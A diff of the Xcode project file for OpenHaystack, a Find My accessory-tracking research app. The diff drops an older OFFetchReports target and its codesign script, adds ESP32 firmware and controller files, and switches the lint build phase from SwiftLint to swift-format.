7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E025DE97E200115740 /* IconSelectionView.swift */; };
|
||||
7899D1E925DEBF4900115740 /* AccessoryMapAnnotation.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */; };
|
||||
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */; };
|
||||
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */; };
|
||||
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */; };
|
||||
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
|
||||
78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */ = {isa = PBXBuildFile; fileRef = 78EC227425DBCCA00042B775 /* .swiftlint.yml */; };
|
||||
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227625DBDB7E0042B775 /* KeychainController.swift */; };
|
||||
F14B2BFE25EFA69B002DC056 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
|
||||
F14B2C0725EFA730002DC056 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
|
||||
F14B2C1425EFA7A5002DC056 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC2249135D600ABB066 /* MapViewController.swift */; };
|
||||
F14B2C1925EFA7AB002DC056 /* Accessory.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC227125DBC8CE0042B775 /* Accessory.swift */; };
|
||||
F14B2C1E25EFA7BA002DC056 /* AccessoryMapAnnotation.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */; };
|
||||
F14B2C2325EFA7C7002DC056 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
|
||||
F16BA9E925E7DB2D00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BA9E825E7DB2D00238183 /* NIOSSL */; };
|
||||
F16BAA0D25E7DCFC00238183 /* NIOSSL in Frameworks */ = {isa = PBXBuildFile; productRef = F16BAA0C25E7DCFC00238183 /* NIOSSL */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXContainerItemProxy section */
|
||||
@@ -106,27 +69,9 @@
|
||||
remoteGlobalIDString = 781EB3E425DAD7EA00FEAA19;
|
||||
remoteInfo = FindMyAccessory;
|
||||
};
|
||||
78F7253B25ED02350039C718 /* PBXContainerItemProxy */ = {
|
||||
isa = PBXContainerItemProxy;
|
||||
containerPortal = 78108B64248E8FB50007E9C4 /* Project object */;
|
||||
proxyType = 1;
|
||||
remoteGlobalIDString = 78108B6B248E8FB50007E9C4;
|
||||
remoteInfo = OfflineFinder;
|
||||
};
|
||||
/* End PBXContainerItemProxy section */
|
||||
|
||||
/* Begin PBXCopyFilesBuildPhase section */
|
||||
11A3D85124A8C623009BF754 /* Embed Frameworks */ = {
|
||||
isa = PBXCopyFilesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
dstPath = "";
|
||||
dstSubfolderSpec = 10;
|
||||
files = (
|
||||
022253BB24E293B8006DF2B3 /* AuthKit.framework in Embed Frameworks */,
|
||||
);
|
||||
name = "Embed Frameworks";
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
78286CD825E3AF6900F65511 /* CopyFiles */ = {
|
||||
isa = PBXCopyFilesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
@@ -152,22 +97,20 @@
|
||||
/* Begin PBXFileReference section */
|
||||
0211DBC2249135D600ABB066 /* MapViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MapViewController.swift; sourceTree = "<group>"; };
|
||||
0211DBC3249135D600ABB066 /* MapViewController.xib */ = {isa = PBXFileReference; lastKnownFileType = file.xib; path = MapViewController.xib; sourceTree = "<group>"; };
|
||||
0211DBC624913A8D00ABB066 /* MapView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MapView.swift; sourceTree = "<group>"; };
|
||||
024D98472490CE320063EBB6 /* BoringSSL.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = BoringSSL.h; sourceTree = "<group>"; };
|
||||
024D98482490CE320063EBB6 /* BoringSSL.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = BoringSSL.m; sourceTree = "<group>"; };
|
||||
025DFEDB248FED250039C718 /* DecryptReports.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DecryptReports.swift; sourceTree = "<group>"; };
|
||||
0298C0C8248F9506003928FE /* AuthKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AuthKit.framework; path = ../../../../../../../../../../System/Library/PrivateFrameworks/AuthKit.framework; sourceTree = "<group>"; };
|
||||
0298C0CC248FA9BB003928FE /* OfflineFinder.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = OfflineFinder.entitlements; sourceTree = "<group>"; };
|
||||
116B4EEC24A913AA007BA636 /* SavePanel.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = SavePanel.swift; sourceTree = "<group>"; };
|
||||
78014A2725DC01220089F6D9 /* MicrobitController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrobitController.swift; sourceTree = "<group>"; };
|
||||
78014A2A25DC22110089F6D9 /* sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = sample.bin; sourceTree = "<group>"; };
|
||||
78014A2E25DC2F100089F6D9 /* pattern_sample.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = pattern_sample.bin; sourceTree = "<group>"; };
|
||||
78108B6C248E8FB50007E9C4 /* OFFetchReports.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OFFetchReports.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
78108B6F248E8FB50007E9C4 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; };
|
||||
78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OFFetchReportsMainView.swift; sourceTree = "<group>"; };
|
||||
78023CAA25F7767000B083EF /* ESP32Controller.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32Controller.swift; sourceTree = "<group>"; };
|
||||
78023CAE25F7797400B083EF /* ESP32 */ = {isa = PBXFileReference; lastKnownFileType = folder; path = ESP32; sourceTree = "<group>"; };
|
||||
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MicrocontrollerTests.swift; sourceTree = "<group>"; };
|
||||
78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackApp.swift; sourceTree = "<group>"; };
|
||||
78108B73248E8FB80007E9C4 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; };
|
||||
78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = "Preview Assets.xcassets"; sourceTree = "<group>"; };
|
||||
78108B79248E8FB80007E9C4 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; };
|
||||
78108B7B248E8FB80007E9C4 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78108B82248E8FDD0007E9C4 /* OpenHaystack-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "OpenHaystack-Bridging-Header.h"; sourceTree = "<group>"; };
|
||||
78108B83248E8FDD0007E9C4 /* ReportsFetcher.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ReportsFetcher.h; sourceTree = "<group>"; };
|
||||
@@ -176,6 +119,8 @@
|
||||
78108B90248F72AF0007E9C4 /* FindMyController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FindMyController.swift; sourceTree = "<group>"; };
|
||||
781EB40825DAD7EA00FEAA19 /* OpenHaystack.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = OpenHaystack.app; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AnisetteDataManager.swift; sourceTree = "<group>"; };
|
||||
7821DAD025F7B2C10054DC33 /* FileManager.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FileManager.swift; sourceTree = "<group>"; };
|
||||
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ESP32InstallSheet.swift; sourceTree = "<group>"; };
|
||||
78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackMail.mailbundle; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
78286C9025E3AC0400F65511 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78286CAE25E3ACE700F65511 /* OpenHaystackPluginService.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = OpenHaystackPluginService.h; sourceTree = "<group>"; };
|
||||
@@ -198,26 +143,16 @@
|
||||
7899D1D525DE74EE00115740 /* firmware.bin */ = {isa = PBXFileReference; lastKnownFileType = archive.macbinary; path = firmware.bin; sourceTree = "<group>"; };
|
||||
7899D1E025DE97E200115740 /* IconSelectionView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = IconSelectionView.swift; sourceTree = "<group>"; };
|
||||
7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AccessoryMapAnnotation.swift; sourceTree = "<group>"; };
|
||||
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ManageAccessoriesView.swift; sourceTree = "<group>"; };
|
||||
78EC226125DAE0BE0042B775 /* OpenHaystackTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = OpenHaystackTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackTests.swift; sourceTree = "<group>"; };
|
||||
78EC226525DAE0BE0042B775 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
|
||||
78EC226B25DBC2E40042B775 /* OpenHaystackMainView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OpenHaystackMainView.swift; sourceTree = "<group>"; };
|
||||
78EC227125DBC8CE0042B775 /* Accessory.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Accessory.swift; sourceTree = "<group>"; };
|
||||
78EC227425DBCCA00042B775 /* .swiftlint.yml */ = {isa = PBXFileReference; lastKnownFileType = text.yaml; path = .swiftlint.yml; sourceTree = "<group>"; };
|
||||
78EC227625DBDB7E0042B775 /* KeychainController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = KeychainController.swift; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */
|
||||
78108B69248E8FB50007E9C4 /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
0211DBC12491203100ABB066 /* Crypto in Frameworks */,
|
||||
022253BA24E293B8006DF2B3 /* AuthKit.framework in Frameworks */,
|
||||
F16BAA0D25E7DCFC00238183 /* NIOSSL in Frameworks */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
781EB3F625DAD7EA00FEAA19 /* Frameworks */ = {
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
@@ -253,11 +188,27 @@
|
||||
path = BoringSSL;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78023CAC25F7775300B083EF /* Firmwares */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78023CAE25F7797400B083EF /* ESP32 */,
|
||||
78023CAD25F7775A00B083EF /* Microbit */,
|
||||
);
|
||||
path = Firmwares;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78023CAD25F7775A00B083EF /* Microbit */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
7899D1D525DE74EE00115740 /* firmware.bin */,
|
||||
);
|
||||
path = Microbit;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78108B63248E8FB50007E9C4 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78286DDC25E56C9400F65511 /* README.md */,
|
||||
78EC227425DBCCA00042B775 /* .swiftlint.yml */,
|
||||
78108B6E248E8FB50007E9C4 /* OpenHaystack */,
|
||||
78EC226225DAE0BE0042B775 /* OpenHaystackTests */,
|
||||
78286C8F25E3AC0400F65511 /* OpenHaystackMail */,
|
||||
@@ -270,7 +221,6 @@
|
||||
78108B6D248E8FB50007E9C4 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
78108B6C248E8FB50007E9C4 /* OFFetchReports.app */,
|
||||
781EB40825DAD7EA00FEAA19 /* OpenHaystack.app */,
|
||||
78EC226125DAE0BE0042B775 /* OpenHaystackTests.xctest */,
|
||||
78286C8E25E3AC0400F65511 /* OpenHaystackMail.mailbundle */,
|
||||
@@ -283,18 +233,15 @@
|
||||
children = (
|
||||
024D98402490CD7F0063EBB6 /* BoringSSL */,
|
||||
78108B8D248F70CC0007E9C4 /* FindMy */,
|
||||
7851F1D725EE90B20049480D /* OFFetchReports */,
|
||||
78108B87248E8FF10007E9C4 /* ReportsFetcher */,
|
||||
78EC226E25DBC2FC0042B775 /* HaystackApp */,
|
||||
781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */,
|
||||
78108B6F248E8FB50007E9C4 /* AppDelegate.swift */,
|
||||
78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */,
|
||||
0211DBC2249135D600ABB066 /* MapViewController.swift */,
|
||||
116B4EEC24A913AA007BA636 /* SavePanel.swift */,
|
||||
0211DBC3249135D600ABB066 /* MapViewController.xib */,
|
||||
78108B73248E8FB80007E9C4 /* Assets.xcassets */,
|
||||
78108B78248E8FB80007E9C4 /* Main.storyboard */,
|
||||
78108B7B248E8FB80007E9C4 /* Info.plist */,
|
||||
0298C0CC248FA9BB003928FE /* OfflineFinder.entitlements */,
|
||||
78108B75248E8FB80007E9C4 /* Preview Content */,
|
||||
);
|
||||
path = OpenHaystack;
|
||||
@@ -358,15 +305,6 @@
|
||||
path = "Mail Plugin";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
7851F1D725EE90B20049480D /* OFFetchReports */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
0211DBC624913A8D00ABB066 /* MapView.swift */,
|
||||
78108B71248E8FB50007E9C4 /* OFFetchReportsMainView.swift */,
|
||||
);
|
||||
path = OFFetchReports;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
78EC226225DAE0BE0042B775 /* OpenHaystackTests */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -376,6 +314,7 @@
|
||||
78014A2A25DC22110089F6D9 /* sample.bin */,
|
||||
78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */,
|
||||
78EC226525DAE0BE0042B775 /* Info.plist */,
|
||||
78023CB025F7841F00B083EF /* MicrocontrollerTests.swift */,
|
||||
);
|
||||
path = OpenHaystackTests;
|
||||
sourceTree = "<group>";
|
||||
@@ -383,13 +322,15 @@
|
||||
78EC226E25DBC2FC0042B775 /* HaystackApp */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
7899D1D525DE74EE00115740 /* firmware.bin */,
|
||||
78023CAC25F7775300B083EF /* Firmwares */,
|
||||
78286D3A25E4017400F65511 /* Mail Plugin */,
|
||||
78EC227025DBC8BB0042B775 /* Views */,
|
||||
78EC226F25DBC8B60042B775 /* Model */,
|
||||
78EC227625DBDB7E0042B775 /* KeychainController.swift */,
|
||||
78014A2725DC01220089F6D9 /* MicrobitController.swift */,
|
||||
787D8AC025DECD3C00148766 /* AccessoryController.swift */,
|
||||
78023CAA25F7767000B083EF /* ESP32Controller.swift */,
|
||||
7821DAD025F7B2C10054DC33 /* FileManager.swift */,
|
||||
);
|
||||
path = HaystackApp;
|
||||
sourceTree = "<group>";
|
||||
@@ -413,6 +354,8 @@
|
||||
7899D1E825DEBF4800115740 /* AccessoryMapAnnotation.swift */,
|
||||
78286E0125E66F9400F65511 /* AccessoryListEntry.swift */,
|
||||
7851F1DC25EE90FA0049480D /* AccessoryMapView.swift */,
|
||||
7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */,
|
||||
78D9B80525F7CF60009B9CE8 /* ManageAccessoriesView.swift */,
|
||||
);
|
||||
path = Views;
|
||||
sourceTree = "<group>";
|
||||
@@ -420,36 +363,14 @@
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
78108B6B248E8FB50007E9C4 /* OFFetchReports */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 78108B7F248E8FB80007E9C4 /* Build configuration list for PBXNativeTarget "OFFetchReports" */;
|
||||
buildPhases = (
|
||||
78108B68248E8FB50007E9C4 /* Sources */,
|
||||
78108B69248E8FB50007E9C4 /* Frameworks */,
|
||||
78108B6A248E8FB50007E9C4 /* Resources */,
|
||||
11A3D85124A8C623009BF754 /* Embed Frameworks */,
|
||||
);
|
||||
buildRules = (
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = OFFetchReports;
|
||||
packageProductDependencies = (
|
||||
0211DBC02491203100ABB066 /* Crypto */,
|
||||
F16BAA0C25E7DCFC00238183 /* NIOSSL */,
|
||||
);
|
||||
productName = OfflineFinder;
|
||||
productReference = 78108B6C248E8FB50007E9C4 /* OFFetchReports.app */;
|
||||
productType = "com.apple.product-type.application";
|
||||
};
|
||||
781EB3E425DAD7EA00FEAA19 /* OpenHaystack */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = 781EB40525DAD7EA00FEAA19 /* Build configuration list for PBXNativeTarget "OpenHaystack" */;
|
||||
buildPhases = (
|
||||
F125DE4525F65E0700135D32 /* Run swift-format */,
|
||||
781EB3E925DAD7EA00FEAA19 /* Sources */,
|
||||
781EB3F625DAD7EA00FEAA19 /* Frameworks */,
|
||||
781EB3FC25DAD7EA00FEAA19 /* Resources */,
|
||||
78EC227325DBC9240042B775 /* SwiftLint */,
|
||||
78286DC225E5669100F65511 /* Embed PlugIns */,
|
||||
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */,
|
||||
);
|
||||
@@ -514,10 +435,6 @@
|
||||
LastUpgradeCheck = 1240;
|
||||
ORGANIZATIONNAME = "SEEMOO - TU Darmstadt";
|
||||
TargetAttributes = {
|
||||
78108B6B248E8FB50007E9C4 = {
|
||||
CreatedOnToolsVersion = 11.5;
|
||||
LastSwiftMigration = 1150;
|
||||
};
|
||||
78286C8D25E3AC0400F65511 = {
|
||||
CreatedOnToolsVersion = 12.4;
|
||||
};
|
||||
@@ -525,9 +442,6 @@
|
||||
CreatedOnToolsVersion = 12.5;
|
||||
TestTargetID = 781EB3E425DAD7EA00FEAA19;
|
||||
};
|
||||
78F7253325ED02300039C718 = {
|
||||
CreatedOnToolsVersion = 12.4;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = 78108B67248E8FB50007E9C4 /* Build configuration list for PBXProject "OpenHaystack" */;
|
||||
@@ -550,32 +464,18 @@
|
||||
781EB3E425DAD7EA00FEAA19 /* OpenHaystack */,
|
||||
78286C8D25E3AC0400F65511 /* OpenHaystackMail */,
|
||||
78EC226025DAE0BE0042B775 /* OpenHaystackTests */,
|
||||
78108B6B248E8FB50007E9C4 /* OFFetchReports */,
|
||||
78F7253325ED02300039C718 /* Run OFFetchReports */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
/* Begin PBXResourcesBuildPhase section */
|
||||
78108B6A248E8FB50007E9C4 /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78108B7A248E8FB80007E9C4 /* Main.storyboard in Resources */,
|
||||
0211DBC5249135D600ABB066 /* MapViewController.xib in Resources */,
|
||||
78108B77248E8FB80007E9C4 /* Preview Assets.xcassets in Resources */,
|
||||
78108B74248E8FB80007E9C4 /* Assets.xcassets in Resources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
781EB3FC25DAD7EA00FEAA19 /* Resources */ = {
|
||||
isa = PBXResourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */,
|
||||
78023CAF25F7797400B083EF /* ESP32 in Resources */,
|
||||
7899D1D625DE74EE00115740 /* firmware.bin in Resources */,
|
||||
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */,
|
||||
78EC227525DBCCA00042B775 /* .swiftlint.yml in Resources */,
|
||||
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */,
|
||||
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */,
|
||||
);
|
||||
@@ -602,7 +502,7 @@
|
||||
/* End PBXResourcesBuildPhase section */
|
||||
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
78EC227325DBC9240042B775 /* SwiftLint */ = {
|
||||
F125DE4525F65E0700135D32 /* Run swift-format */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
@@ -611,33 +511,14 @@
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = SwiftLint;
|
||||
name = "Run swift-format";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "if which swiftlint >/dev/null; then\n swiftlint autocorrect && swiftlint\nelse\n echo \"warning: SwiftLint not installed, download from https://github.com/realm/SwiftLint\"\nfi\n";
|
||||
};
|
||||
78F7253D25ED02390039C718 /* Codesign Offline Finder with Entitlements */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
alwaysOutOfDate = 1;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = "Codesign Offline Finder with Entitlements";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "#bin/sh\nidentities=$(security find-identity -p codesigning -v)\n#echo \"${identities}\"\npat=' ([0-9ABCDEF]+) '\n[[ $identities =~ $pat ]]\n# Can be set to a codesign identity manually\nIDT=\"${BASH_REMATCH[1]}\"\nif [ -z ${IDT+x} ]; then\n echo \"error: Please set the codesigning identity above. \\nThe identity can be found with $ security find-identities -v -p codesigning\"\nelse\n codesign --entitlements ${SRCROOT}/OpenHaystack/OfflineFinder.entitlements -fs ${IDT} ${TARGET_BUILD_DIR}/OfflineFinder.app/Contents/MacOS/OfflineFinder\n echo \"warning: This app will only run on macOS systems with SIP & AMFI disabled. This should only be done on dedicated test systems\"\nfi\n";
|
||||
shellScript = "if command -v swift-format >/dev/null; then\n swift-format lint -r \"$SRCROOT\"\nelse\n echo \"warning: swift-format not installed, download from https://github.com/apple/swift-format\"\nfi\n";
|
||||
};
|
||||
F14B2C7E25EFBB11002DC056 /* Set Version Number from Git */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
@@ -678,29 +559,6 @@
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
78108B68248E8FB50007E9C4 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78108B85248E8FDD0007E9C4 /* ReportsFetcher.m in Sources */,
|
||||
116B4EED24A913AA007BA636 /* SavePanel.swift in Sources */,
|
||||
F14B2C1425EFA7A5002DC056 /* MapViewController.swift in Sources */,
|
||||
025DFEDC248FED250039C718 /* DecryptReports.swift in Sources */,
|
||||
78108B72248E8FB50007E9C4 /* OFFetchReportsMainView.swift in Sources */,
|
||||
0211DBC724913A8D00ABB066 /* MapView.swift in Sources */,
|
||||
7867874824A651C600199B09 /* FindMyKeyDecoder.swift in Sources */,
|
||||
78108B70248E8FB50007E9C4 /* AppDelegate.swift in Sources */,
|
||||
78108B8F248F70D40007E9C4 /* Models.swift in Sources */,
|
||||
78108B91248F72AF0007E9C4 /* FindMyController.swift in Sources */,
|
||||
F14B2BFE25EFA69B002DC056 /* AnisetteDataManager.swift in Sources */,
|
||||
024D98492490CE320063EBB6 /* BoringSSL.m in Sources */,
|
||||
F14B2C0725EFA730002DC056 /* ALTAnisetteData.m in Sources */,
|
||||
F14B2C1925EFA7AB002DC056 /* Accessory.swift in Sources */,
|
||||
F14B2C1E25EFA7BA002DC056 /* AccessoryMapAnnotation.swift in Sources */,
|
||||
F14B2C2325EFA7C7002DC056 /* AppleAccountData.m in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
781EB3E925DAD7EA00FEAA19 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
@@ -714,20 +572,22 @@
|
||||
781EB3EB25DAD7EA00FEAA19 /* SavePanel.swift in Sources */,
|
||||
7899D1E125DE97E200115740 /* IconSelectionView.swift in Sources */,
|
||||
78EC227725DBDB7E0042B775 /* KeychainController.swift in Sources */,
|
||||
78D9B80625F7CF60009B9CE8 /* ManageAccessoriesView.swift in Sources */,
|
||||
78486BEF25DD711E0007ED87 /* PopUpAlertView.swift in Sources */,
|
||||
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */,
|
||||
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */,
|
||||
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */,
|
||||
78EC226C25DBC2E40042B775 /* OpenHaystackMainView.swift in Sources */,
|
||||
78EC227225DBC8CE0042B775 /* Accessory.swift in Sources */,
|
||||
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */,
|
||||
78286E0225E66F9400F65511 /* AccessoryListEntry.swift in Sources */,
|
||||
781EB3EE25DAD7EA00FEAA19 /* OFFetchReportsMainView.swift in Sources */,
|
||||
781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */,
|
||||
78286D7725E5114600F65511 /* ActivityIndicator.swift in Sources */,
|
||||
781EB3F025DAD7EA00FEAA19 /* MapView.swift in Sources */,
|
||||
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */,
|
||||
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */,
|
||||
787D8AC125DECD3C00148766 /* AccessoryController.swift in Sources */,
|
||||
781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */,
|
||||
78023CAB25F7767000B083EF /* ESP32Controller.swift in Sources */,
|
||||
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */,
|
||||
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */,
|
||||
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */,
|
||||
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */,
|
||||
@@ -748,6 +608,7 @@
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
78023CB125F7841F00B083EF /* MicrocontrollerTests.swift in Sources */,
|
||||
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
@@ -765,24 +626,8 @@
|
